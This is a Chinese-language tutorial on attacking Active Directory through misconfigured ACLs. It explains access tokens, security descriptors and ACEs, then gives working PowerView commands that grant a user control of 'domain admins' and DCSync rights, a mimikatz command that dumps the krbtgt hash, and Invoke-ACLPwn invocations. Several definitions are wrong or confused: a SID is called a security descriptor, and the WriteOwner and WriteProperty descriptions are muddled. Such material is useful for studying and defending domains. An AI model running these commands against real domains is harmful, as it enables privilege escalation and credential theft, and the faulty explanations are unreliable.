域內ACL攻防
windows 訪問控制模型
在 Active Directory 中設置權限,其方式與在文件中設置權限的方式幾乎相同。權限控制都是使用windows 訪問控制模型。
windows 訪問控制模型是由兩部分組成。
訪問令牌(Access Token)
包含用戶的標識(User SID,Group SIDS),以及特權列表。
安全描述符(security identifiers)。
被訪問的安全對象的相關安全信息。
這裏的安全對象包括但不限於
- NTFS捲上的文件和目錄
- 註冊表項
- 網絡共享
- 服務
- Active Directory對象
- 進程等等
Access Token
當線程與安全對象交互或嘗試執行需要特權的系統任務時,系統使用訪問令牌來標識用戶,訪問令牌包括用戶的SID、所在組的SID等等信息
Security Descriptors安全描述符
SID(Security Identifiers)即安全描述符。
安全描述符標識對象的所有者,幷包含以下訪問控制列表:
1、Discretionary Access Control List (DACL) 自由訪問控制列表
2、System Access Control List (SACL) 系統訪問控制列表
每一種控制列表中都存在若干條ACE(Access Control Entries)
安全描述符由Header、SID和DACL、SACL組成
查看domain user屬性-->安全-->高級
高級安全設置中的權限就是DACL的列表
高級安全設置中的審覈就是SACL的列表
其中紅色圈出來的每一條都是一條ACE
ACE是針對特定用戶或特定組的單個權限授予(或拒絕權利)的配置結構。ACE有許多不同類型,但是在Active Directory的權限中,只有四種不同的含義,兩種分別用於授予和拒絕權限。
Access Mask
Access Mask在ACE中有Access Mask這個字段,它代表着此條ACE所對應的權限,比如完全控制(GenericAll)、修改密碼(ResetPassword)、寫入屬性(WriteMembers)等等。
Trustees
Trustees的意思爲受委託人,受託者是一個ACE所應用到的用戶賬戶,組賬戶或者是登錄會話。也就是說,誰是某一個ACE的受託者,那麼這條ACE中的Access Mask所對應的權限(可能是拒絕可能是通過)就會賦予受託者。比如下面這一條的受委託人實際上就是zhangs賬號。
域裏常見可利用的ACL
- GenericAll :擁有一個可以完全控制用戶/組的權限
- GenericWrite :此權限能夠更新目標對象的屬性值
- Self-Membership :這條權限指的是某個賬戶能夠把自身添加到某個組的權限(需要在某個組的高級權限中添加ACE,也就是說針對的是組對象)
- WriteProperty :WriteProperty直譯爲寫所有權。這個權限利用針對的對象爲組對象,能夠賦予賬戶對於某個組的可寫權限
- WriteOwner :WriteProperty on Group說的是對一個組具有WriteProperty權限的情況下,“寫入全部屬性”除了WriteProperty還包括了其他的權限
- WriteDacl :WriteDacl允許委託人修改受影響對象的DACL。這意味着攻擊者可以添加或刪除特定的訪問控制項,從而使他們可以授予自己對對象的完全訪問權限。因此,WriteDacl是在鏈中啓用其他權利的權利。
GenericAll
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity test2user -Rights All
-Verbose
給予了test2user對testuser用戶完全控制的權限,在查看testuser的時候可以發現test2user的SID在查詢裏出現
也可以對一個組進行設置
powerview將yayi用戶添加到domain admins用戶添加
Add-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity test2user -Ri
ghts all -Verbose
這樣的話可以用test2用戶控制domain admins用戶組
GenericWrite
GenericWrite也是在Access Mask中進行標識,此權限能夠更新目標對象的屬性值,可以使用PowerView中的Set-DomainObject方法設置目標屬性的值。
WriteDacl
WriteDacl允許委託人修改受影響對象的DACL。這意味着攻擊者可以添加或刪除特定的訪問控制項,從而使他們可以授予自己對對象的完全訪問權限。因此,WriteDacl是在鏈中啓用其他權利的權利。
Self-Membership
這條權限指的是某個賬戶能夠把自身添加到某個組的權限(需要在某個組的高級權限中添加ACE,也就是說針對的是組對象)
重點:主體、添加/刪除自身作爲成員
Add-DomainObjectAcl -TargetIdentity "dnsadmins" -PrincipalIdentity test2user -Rights
all -Verbose
Add-DomainObjectAcl -TargetIdentity "dnsadmins" -PrincipalIdentity test2user -Rights
all -Verbose
WriteProperty (Self-Membership)
WriteProperty直譯爲寫所有權。這個權限利用針對的對象爲組對象,能夠賦予賬戶對於某個組的可寫權限,在Domain Admins組裏設置zhangs賬戶的WriteProperty權限:
WriteProperty on Group
WriteProperty還包括了其他的權限:
CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner
設置一個組的寫入全部屬性
(相當於獲取了這個組的所有權限)
在Domain Admins組的列表中添加寫入全部屬性,會生成一條新的ACE
ACL攻擊方式
DCSync權限
使用dcsync獲取dump 域hash需要域對象或者是域內的高權限組中有以下三種權限的其中一個:
- 複製目錄更改 Replicating Directory Changes (DS-Replication-Get-Changes)
- 複製目錄更改所有 Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是這個)
- 正在複製篩選集中的目錄更改 Replicating Directory Changes In Filtered Set (rare, only required in some environments)
用戶添加DCSync權限
Add-DomainObjectAcl -TargetIdentity "DC=nncm,DC=com" -PrincipalIdentity test2user -Ri
ghts DCSync
mimikatz.exe "lsadump::dcsync /user:nncm\krbtgt" "exit"
Invoke-ACLpwn
https://github.com/fox-it/Invoke-ACLPwn
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -userAccountToPwn 'Administrator'
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -LogToFile
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -NoSecCleanup
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'